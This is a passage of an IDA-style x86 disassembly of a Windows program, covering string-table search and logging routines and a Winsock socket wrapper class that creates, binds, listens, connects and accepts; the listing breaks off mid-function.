loc_419A90:				; CODE XREF: ___:00402266j
		push	ebx
		mov	ebx, dword_50FAF8
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, offset dword_506E6C


loc_419AA2:				; CODE XREF: ___:00419ABEj
		cmp	byte ptr [esi],	0
		jz	short loc_419AB2
		push	edi
		push	esi
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419AC6


loc_419AB2:				; CODE XREF: ___:00419AA5j
		add	esi, 80h
		cmp	esi, offset dword_50AE6C
		jl	short loc_419AA2
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419AC6:				; CODE XREF: ___:00419AB0j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419AE0	proc near		; CODE XREF: sub_4010D2j

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		lea	eax, [esp+10h+var_10]
		push	esi
		push	edi
		push	eax
		nop
		call	near ptr 27A0000h
		mov	edi, dword_50FAFC
		mov	esi, offset dword_50AE6C


loc_419AFB:				; CODE XREF: sub_419AE0+3Bj
		cmp	byte ptr [esi],	0
		jz	short loc_419B0F
		push	7Fh
		lea	ecx, [esi+80h]
		push	esi
		push	ecx
		call	edi	; strncpy
		add	esp, 0Ch


loc_419B0F:				; CODE XREF: sub_419AE0+1Ej
		sub	esi, 80h
		cmp	esi, offset dword_506E6C
		jge	short loc_419AFB
		mov	edx, [esp+18h+arg_0]
		mov	eax, [esp+18h+var_4]
		mov	ecx, [esp+12h]
		push	edx
		mov	edx, [esp+1Ch+var_8]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		mov	eax, [esp+20h+var_10]
		and	edx, 0FFFFh
		push	ecx
		mov	ecx, [esp+1Ah]
		push	edx
		mov	edx, [esp+28h+var_10+2]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		and	edx, 0FFFFh
		push	ecx
		push	edx
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	80h
		push	offset dword_506E6C
		nop
		call	near ptr 77C3FA76h
		add	esp, 28h
		pop	edi
		pop	esi
		add	esp, 10h
		retn
sub_419AE0	endp

; ---------------------------------------------------------------------------
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419BB0:				; CODE XREF: ___:004012DAj
		sub	esp, 600h
		mov	ecx, 80h
		xor	eax, eax
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+10h]
		mov	esi, [esp+614h]
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+210h]
		mov	ebp, dword_50FAFC
		push	1FFh
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+414h]
		rep stosd
		lea	eax, [esp+14h]
		push	esi
		push	eax
		call	ebp	; strncpy
		mov	edx, [esp+628h]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, 180h
		jbe	short loc_419C21
		mov	[edx+180h], al


loc_419C21:				; CODE XREF: ___:00419C19j
		mov	ebx, [esp+618h]
		lea	ecx, [esp+10h]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_419D32


loc_419C3F:				; CODE XREF: ___:00419D25j
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		nop
		call	near ptr 77C47C60h
		mov	esi, eax
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	1FFh
		add	ecx, esi
		lea	eax, [esp+41Ch]
		push	ecx
		push	eax
		call	ebp	; strncpy
		lea	ecx, [esp+24h]
		push	1FFh
		lea	edx, [esp+228h]
		push	ecx
		push	edx
		mov	byte ptr [esi],	0
		call	ebp	; strncpy
		lea	edx, [esi+1]
		add	esp, 20h
		test	edx, edx
		jz	short loc_419D00
		lea	eax, [ebx-1]
		test	eax, eax
		jz	short loc_419D00
		lea	edi, [ebx-1]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, edx
		mov	esi, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, esi
		jbe	short loc_419CDD
		mov	edx, [esp+61Ch]
		lea	ecx, [esp+410h]
		push	ecx
		lea	eax, [esp+214h]
		push	edx
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset aSSS	; "%s%s%s"
		push	ecx
		nop
		call	sub_5EFFD5
		add	esp, 14h
		jmp	short loc_419D00
; ---------------------------------------------------------------------------


loc_419CDD:				; CODE XREF: ___:00419CAEj
		mov	edx, [esp+61Ch]
		lea	eax, [esp+210h]
		push	edx
		push	eax
		lea	ecx, [esp+18h]
		push	offset aSS_3	; "%s%s"
		push	ecx
		call	sub_5EFFD5
		nop
		add	esp, 10h


loc_419D00:				; CODE XREF: ___:00419C8Aj
					; ___:00419C91j ...
		mov	edx, [esp+61Ch]
		mov	esi, dword_50FAF8
		push	edx
		push	ebx
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419D2B
		lea	eax, [esp+10h]
		push	ebx
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	loc_419C3F


loc_419D2B:				; CODE XREF: ___:00419D16j
		mov	esi, [esp+614h]


loc_419D32:				; CODE XREF: ___:00419C39j
		lea	edi, [esp+10h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		lea	ecx, [esp+14h]
		push	ecx
		push	esi
		call	ebp	; strncpy
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 600h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419DD0:				; CODE XREF: ___:004018CFj
		sub	esp, 10h
		push	esi
		push	0
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_419DEE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419DEE:				; CODE XREF: ___:00419DE5j
		mov	ecx, [esp+18h]
		xor	eax, eax
		mov	[esp+4], eax
		push	ecx
		mov	[esp+0Ch], eax
		mov	word ptr [esp+8], 2
		mov	[esp+10h], eax
		mov	[esp+14h], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+4]
		push	10h
		push	edx
		push	esi
		mov	[esp+12h], ax
		mov	dword ptr [esp+14h], 0
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_419E39
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419E39:				; CODE XREF: ___:00419E2Fj
		push	7FFFFFFFh
		push	esi
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_419E51
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419E51:				; CODE XREF: ___:00419E47j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419E90:				; CODE XREF: ___:00401E65j
		push	edi
		xor	edi, edi
		mov	eax, offset byte_4DE2E5


loc_419E98:				; CODE XREF: ___:00419EA8j
		cmp	dword ptr [eax], 0
		jz	short loc_419EAA
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E5E55
		jle	short loc_419E98


loc_419EAA:				; CODE XREF: ___:00419E9Bj
		cmp	edi, 13h
		jle	short loc_419EB4
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419EB4:				; CODE XREF: ___:00419EADj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_50FBF0
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4DE1EBh[eax*2]
		mov	eax, [esp+10h]
		push	eax
		push	esi
		call	ebx ; sub_5EFFD5
		mov	ecx, [esp+24h]
		mov	edx, [esp+1Ch]
		mov	eax, [esp+20h]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+28h]
		mov	[esi+0FEh], edi
		add	esp, 8
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5EFFD5
		add	esp, 8
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419F50	proc near		; CODE XREF: sub_4013E8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4D6775


loc_419F58:				; CODE XREF: sub_419F50+18j
		cmp	dword ptr [eax], 0
		jz	short loc_419F6A
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4DE2E5
		jle	short loc_419F58


loc_419F6A:				; CODE XREF: sub_419F50+Bj
		cmp	edi, 13h
		jle	short loc_419F74
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419F74:				; CODE XREF: sub_419F50+1Dj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_50FBF0
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4D667Bh[eax*2]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	ebx ; sub_5EFFD5
		mov	ecx, [esp+14h+arg_C]
		mov	edx, [esp+14h+arg_4]
		mov	eax, [esp+14h+arg_8]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+14h+arg_10]
		mov	[esi+0FEh], edi
		add	esp, 8
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5EFFD5
		add	esp, 8
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_419F50	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A010	proc near		; CODE XREF: sub_401C35j

var_190		= byte ptr -190h
arg_0		= byte ptr  4

		sub	esp, 190h
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		mov	dword ptr [ebp+0], offset off_43E0BC
		mov	eax, dword_50BB38
		test	eax, eax
		jnz	short loc_41A048
		mov	eax, dword_50BB38
		inc	eax
		mov	dword_50BB38, eax
		lea	ecx, [esp+19Ch+var_190]
		push	ecx
		push	202h
		call	near ptr 71AB664Dh
		nop
		jmp	short loc_41A055
; ---------------------------------------------------------------------------


loc_41A048:				; CODE XREF: sub_41A010+19j
		mov	edx, dword_50BB38
		inc	edx
		mov	dword_50BB38, edx


loc_41A055:				; CODE XREF: sub_41A010+36j
		mov	al, [esp+19Ch+arg_0]
		or	ecx, 0FFFFFFFFh
		mov	[ebp+80Ah], al
		mov	edi, offset byte_446F70
		xor	eax, eax
		mov	[ebp+806h], ecx
		mov	byte ptr [ebp+80Ch], 0
		mov	word ptr [ebp+4], 0
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [ebp+6]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebp
		and	ecx, 3
		rep movsb
		pop	edi
		mov	byte ptr [ebp+80Bh], 0
		pop	esi
		pop	ebp
		add	esp, 190h
		retn	4
sub_41A010	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A0E0	proc near		; CODE XREF: ___:004018D4j sub_401AF5j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401FC8
		test	[esp+4+arg_0], 1
		jz	short loc_41A0F8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41A0F8:				; CODE XREF: sub_41A0E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41A0E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A110	proc near		; CODE XREF: sub_401FC8j
		mov	al, [ecx+80Ah]
		mov	dword ptr [ecx], offset	off_43E0BC
		test	al, al
		jnz	short loc_41A125
		call	sub_4014DD


loc_41A125:				; CODE XREF: sub_41A110+Ej
		mov	eax, 1
		mov	ecx, dword_50BB38
		cmp	ecx, eax
		jle	short loc_41A140
		mov	eax, dword_50BB38
		dec	eax
		mov	dword_50BB38, eax

locret_41A13F:				; CODE XREF: sub_41A110:loc_41A140j
		retn
; ---------------------------------------------------------------------------


loc_41A140:				; CODE XREF: sub_41A110+22j
		jnz	short locret_41A13F
		mov	ecx, dword_50BB38
		dec	ecx
		mov	dword_50BB38, ecx
		jmp	near ptr 71AB4428h
sub_41A110	endp

; ---------------------------------------------------------------------------
		dd 90909032h, 2	dup(90909090h),	8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_41A180:				; CODE XREF: ___:004015A0j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43ACCB
		push	eax
		mov	large fs:0, esp
		sub	esp, 814h
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jz	loc_41A231
		mov	al, [esi+80Bh]
		test	al, al
		jz	short loc_41A1B9
		mov	al, 1
		jmp	short loc_41A231
; ---------------------------------------------------------------------------


loc_41A1B9:				; CODE XREF: ___:0041A1B3j
		push	ebx
		push	edi
		mov	edi, [esp+830h]
		push	800h
		lea	eax, [esi+6]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	ebx, [esp+840h]
		add	esp, 0Ch
		lea	ecx, [esp+0Ch]
		mov	[esi+4], bx
		call	sub_401186
		mov	ecx, [esp+83Ch]
		mov	edx, [esp+838h]
		push	ecx
		push	edx
		push	ebx
		push	edi
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+838h], 0
		call	sub_401636
		push	eax
		mov	ecx, esi
		call	sub_4020C7
		lea	ecx, [esp+0Ch]
		mov	bl, al
		mov	dword ptr [esp+828h], 0FFFFFFFFh
		call	sub_40186B
		mov	al, bl
		pop	edi
		pop	ebx


loc_41A231:				; CODE XREF: ___:0041A1A5j
					; ___:0041A1B7j
		mov	ecx, [esp+818h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 820h
		retn	10h
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A290	proc near		; CODE XREF: sub_40195Bj
		mov	al, byte_443DD0
		retn
sub_41A290	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A2B0	proc near		; CODE XREF: sub_4020C7j

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		sub	esp, 11Ch
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A2D0
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A2D0:				; CODE XREF: sub_41A2B0+12j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A471
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A30A
		mov	ecx, esi
		call	sub_4014DD
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A30A:				; CODE XREF: sub_41A2B0+43j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A319
		push	1
		jmp	short loc_41A31B
; ---------------------------------------------------------------------------


loc_41A319:				; CODE XREF: sub_41A2B0+63j
		push	0


loc_41A31B:				; CODE XREF: sub_41A2B0+67j
		mov	ecx, esi
		call	sub_4018BB
		mov	edi, [esp+128h+arg_4]
		xor	eax, eax
		mov	[esp+128h+var_114], eax
		push	edi
		mov	[esp+12Ch+var_110], eax
		mov	[esi+4], di
		mov	[esp+12Ch+var_10C], eax
		mov	word ptr [esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_108], eax
		call	near ptr 71AB2B66h
		nop
		mov	ecx, [esp+128h+arg_0]
		mov	word ptr [esp+128h+var_114+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+128h+var_114]
		push	10h
		push	edx
		push	eax
		mov	[esp+134h+var_110], ecx
		mov	[esi+4], di
		nop
		call	near ptr 71AB406Ah
		mov	ebp, dword_50FC44
		test	eax, eax
		jge	short loc_41A3BC
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A3AD
		call	ebp	; WSAGetLastError
		cmp	eax, 0Bh
		jz	short loc_41A3AD
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A3AD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A3AD:				; CODE XREF: sub_41A2B0+D6j
					; sub_41A2B0+DDj ...
		mov	al, byte ptr [esp+128h+arg_8]
		test	al, al
		jnz	loc_41A46A


loc_41A3BC:				; CODE XREF: sub_41A2B0+CDj
		mov	eax, [esi+806h]
		xor	ecx, ecx
		lea	edx, [esp+128h+var_11C]
		mov	edi, dword_50FC80
		mov	[esp+128h+var_11C], ecx
		push	edx
		mov	[esp+12Ch+var_118], ecx
		push	ecx
		lea	ecx, [esp+130h+var_104]
		mov	[esp+130h+var_100], eax
		push	ecx
		inc	eax
		push	0
		push	eax
		mov	[esp+13Ch+var_11C], 0Ah
		mov	[esp+13Ch+var_104], 1
		call	edi	; select
		test	eax, eax
		jge	short loc_41A430


loc_41A3FB:				; CODE XREF: sub_41A2B0+17Ej
		call	ebp	; WSAGetLastError
		call	ebp	; WSAGetLastError
		cmp	eax, 4
		jnz	short loc_41A445
		mov	eax, [esp+128h+var_11C]
		test	eax, eax
		jnz	short loc_41A414
		mov	eax, [esp+128h+var_118]
		test	eax, eax
		jz	short loc_41A445


loc_41A414:				; CODE XREF: sub_41A2B0+15Aj
		mov	ecx, [esi+806h]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		inc	ecx
		push	0
		push	ecx
		call	edi	; select
		test	eax, eax
		jl	short loc_41A3FB


loc_41A430:				; CODE XREF: sub_41A2B0+149j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A461
		mov	edx, [esp+128h+arg_8]
		push	edx
		jmp	short loc_41A463
; ---------------------------------------------------------------------------


loc_41A445:				; CODE XREF: sub_41A2B0+152j
					; sub_41A2B0+162j
		mov	ecx, esi
		call	sub_4014DD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A461:				; CODE XREF: sub_41A2B0+189j
		push	0


loc_41A463:				; CODE XREF: sub_41A2B0+193j
		mov	ecx, esi
		call	sub_4018BB


loc_41A46A:				; CODE XREF: sub_41A2B0+106j
		mov	byte ptr [esi+80Bh], 1


loc_41A471:				; CODE XREF: sub_41A2B0+28j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		add	esp, 11Ch
		retn	10h
sub_41A2B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A500	proc near		; CODE XREF: sub_4014DDj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A51A
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A51A
		push	eax
		nop
		call	near ptr 71AB9639h


loc_41A51A:				; CODE XREF: sub_41A500+Cj
					; sub_41A500+11j
		mov	ecx, esi
		call	sub_401375
		mov	byte ptr [esi+80Bh], 0
		pop	esi
		retn
sub_41A500	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A540	proc near		; CODE XREF: sub_401375j
		push	ebp
		mov	edx, ecx
		push	esi
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, offset byte_446F70
		xor	eax, eax
		mov	[edx+806h], ecx
		mov	word ptr [edx+4], 0
		lea	ebp, [edx+6]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		mov	byte ptr [edx+80Bh], 0
		mov	byte ptr [edx+80Ch], 0
		pop	ebp
		retn
sub_41A540	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A5B0	proc near		; CODE XREF: sub_401488j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A5C6
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A5C6:				; CODE XREF: sub_41A5B0+Dj
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A67F
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A5FB
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A5FB:				; CODE XREF: sub_41A5B0+39j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+14h+var_10+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	eax
		mov	[esp+20h+var_C], 0
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_41A654
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A654:				; CODE XREF: sub_41A5B0+92j
		mov	ecx, [esi+806h]
		push	32h
		push	ecx
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A678
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A678:				; CODE XREF: sub_41A5B0+B6j
		mov	byte ptr [esi+80Bh], 1


loc_41A67F:				; CODE XREF: sub_41A5B0+1Ej
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn	4
sub_41A5B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A6D0	proc near		; CODE XREF: sub_401B81j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A6EE
		pop	edi
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A6EE:				; CODE XREF: sub_41A6D0+11j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	short loc_41A705
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A705:				; CODE XREF: sub_41A6D0+26j
		mov	al, [esi+80Ch]
		test	al, al
		jnz	short loc_41A781
		call	sub_40195B
		test	al, al
		jz	short loc_41A774
		mov	edi, dword_50FC80


loc_41A71E:				; CODE XREF: sub_41A6D0+A2j
		mov	eax, [esi+806h]
		lea	ecx, [esp+128h+var_11C]
		push	ecx
		mov	[esp+12Ch+var_100], eax
		push	0
		lea	edx, [esp+130h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		mov	[esp+13Ch+var_104], 1
		mov	[esp+13Ch+var_11C], 0
		mov	[esp+13Ch+var_118], 64h
		call	edi	; select
		test	eax, eax
		jz	short loc_41A76B
		mov	ecx, [esi+806h]
		lea	eax, [esp+128h+var_104]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A781


loc_41A76B:				; CODE XREF: sub_41A6D0+84j
		call	sub_40195B
		test	al, al
		jnz	short loc_41A71E


loc_41A774:				; CODE XREF: sub_41A6D0+46j
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A781:				; CODE XREF: sub_41A6D0+3Dj
					; sub_41A6D0+99j
		mov	eax, [esp+128h+arg_4]
		mov	[esp+128h+var_120], 0FFFFFFFFh
		test	eax, eax
		jz	short loc_41A7A4
		lea	edx, [esp+128h+var_11C]
		mov	[esp+128h+var_11C], 10h
		push	edx
		push	eax
		jmp	short loc_41A7B6
; ---------------------------------------------------------------------------


loc_41A7A4:				; CODE XREF: sub_41A6D0+C2j
		lea	ecx, [esp+128h+var_11C]
		lea	edx, [esp+128h+var_114]
		push	ecx
		mov	[esp+12Ch+var_11C], 10h
		push	edx


loc_41A7B6:				; CODE XREF: sub_41A6D0+D2j
		mov	eax, [esi+806h]
		push	eax
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esp+128h+var_120], eax
		jnz	short loc_41A7D9
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A7D9:				; CODE XREF: sub_41A6D0+FAj
		mov	esi, [esp+128h+arg_0]
		lea	ecx, [esp+128h+var_120]
		push	ecx
		mov	ecx, esi
		call	sub_4020EA
		mov	dl, [esp+128h+arg_8]
		pop	edi
		mov	[esi+80Dh], dl
		mov	al, 1
		pop	esi
		add	esp, 120h
		retn	0Ch
sub_41A6D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A860	proc near		; CODE XREF: sub_4020EAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax]
		mov	[ecx+806h], edx
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		setnz	al
		mov	[ecx+80Bh], al
		retn	4
sub_41A860	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A890	proc near		; CODE XREF: sub_401960j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	0
		push	edx
		push	eax
		call	sub_401B3B
		retn	0Ch
sub_41A890	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A8C0	proc near		; CODE XREF: sub_401B3Bj

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 210h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		cmp	dword ptr [esi+806h], 0FFFFFFFFh
		jz	loc_41AA24
		mov	al, [esi+80Bh]
		test	al, al
		jz	loc_41AA24
		mov	edi, dword_50F8A4
		call	edi
		mov	ebp, eax
		mov	al, [esi+80Dh]
		test	al, al
		jnz	loc_41A9BC
		mov	ebx, [esp+220h+arg_8]
		test	ebx, ebx
		jz	loc_41A9BC
		call	sub_40195B
		test	al, al
		jz	loc_41A9BC


loc_41A91B:				; CODE XREF: sub_41A8C0+F6j
		mov	eax, [esi+806h]
		mov	ecx, 1
